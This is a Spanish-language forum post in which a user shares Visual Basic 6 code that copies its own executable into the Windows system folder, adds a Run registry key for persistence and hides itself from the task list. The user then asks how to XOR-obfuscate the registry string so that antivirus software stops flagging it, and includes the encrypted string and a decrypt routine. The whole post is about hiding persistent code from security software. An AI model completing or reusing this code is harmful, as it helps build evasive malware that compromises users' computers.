hola
Ahh.. ok..
gracias por la info... solo tengo otra duda...
se puede cifrar cualquier codigo... o no todo...
ya que intente cifrar el clasico App.TaskVisible = False pero no supe como colocarlo para que me funcionara...
Tambien intente hacer esto... pero tampoco funciona
Dim win
Dim sys
Dim residencia
ejec = App.path
If Right(ejec, 1) <> "\" Then ejec = ejec & "\"
ejec = ejec & App.EXEName & ".exe"
Set obj = CreateObject("Scripting.FileSystemObject")
Set win = obj.GetSpecialFolder(0)
Set sys = obj.GetSpecialFolder(1)
win = LCase(win)
sys = LCase(sys)
FileCopy ejec, sys & "\programa"
Name sys & "\programa" As sys & "\programa.exe"
Set residencia = CreateObject("WScript.Shell")
residencia.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\" & "programa", sys & "\programa.exe"
App.TaskVisible = False
intente encriptarlo con un codigo que encontre... es este
Private Sub Command1_Click()
Dim TextoAux As String, Texto As String
Dim I As Integer
Texto = ""
TextoAux1 = Text1.Text
For I = 1 To Len(TextoAux1)
Text1.SelStart = I - 1
Text1.SelLength = 1
TextoAux = Text1.SelText
Texto = Texto + Chr$(Asc(TextoAux) Xor 20)
Next I
Text1.Text = Texto
End Sub
pero al encriptarlo no puedo hacer que se desencripte para que funcione.. intente modificarlo como lo que puse abajo y funciona para desencriptarlo, pero al ejecutarlo ya no funciona... y esto es lo que me detecta el antivirus
"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\" & "programa", sys & "\programa.exe"
App.TaskVisible = False
y si hago esto el codigo funciona
Private Sub Form_Load()
decrypt ("\_QMKWAFFQZ@KAGQFHG{r`cufqHY}wf{g{r`HC}zp{cgHWaffqz`Bqfg}{zHFazH64246df{sfuyu684gmg4246Hdf{sfuyu:qlq")
End Sub
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Esto:
\_QMKWAFFQZ@KAGQFHG{r`cufqHY}wf{g{r`HC}zp{cgHWaffqz`Bqfg}{zHFazH64246df{sfuyu684gmg4246Hdf{sfuyu:qlq
ES ESTO...
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\" & "programa", sys & "\programa.exe
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Private function decrypt(text2 as string)
Dim TextoAux As String, texto As String
Dim I As Integer
texto = ""
Text1.Text = text2
textoaux1 = Text1.Text
For I = 1 To Len(textoaux1)
Text1.SelStart = I - 1
Text1.SelLength = 1
TextoAux = Text1.SelText
texto = texto + Chr$(Asc(TextoAux) Xor 20)
Next I
text1.text = texto
End Function
y no se si tenga que kedar asi...
Private function decrypt(text2 as string)
Dim TextoAux As String, texto As String
Dim I As Integer
texto = ""
Text1.Text = text2
textoaux1 = Text1.Text
For I = 1 To Len(textoaux1)
Text1.SelStart = I - 1
Text1.SelLength = 1
TextoAux = Text1.SelText
texto = texto + Chr$(Asc(TextoAux) Xor 20)
Next I
Dim win
Dim sys
Dim residencia
ejec = App.path
If Right(ejec, 1) <> "\" Then ejec = ejec & "\"
ejec = ejec & App.EXEName & ".exe"
Set obj = CreateObject("Scripting.FileSystemObject")
Set win = obj.GetSpecialFolder(0)
Set sys = obj.GetSpecialFolder(1)
win = LCase(win)
sys = LCase(sys)
FileCopy ejec, sys & "\programa"
Name sys & "\programa" As sys & "\programa.exe"
Set residencia = CreateObject("WScript.Shell")
residencia.RegWrite texto
app.taskvisibe= false
pero al ejecutarlo... no funciona... alguien sabe porke?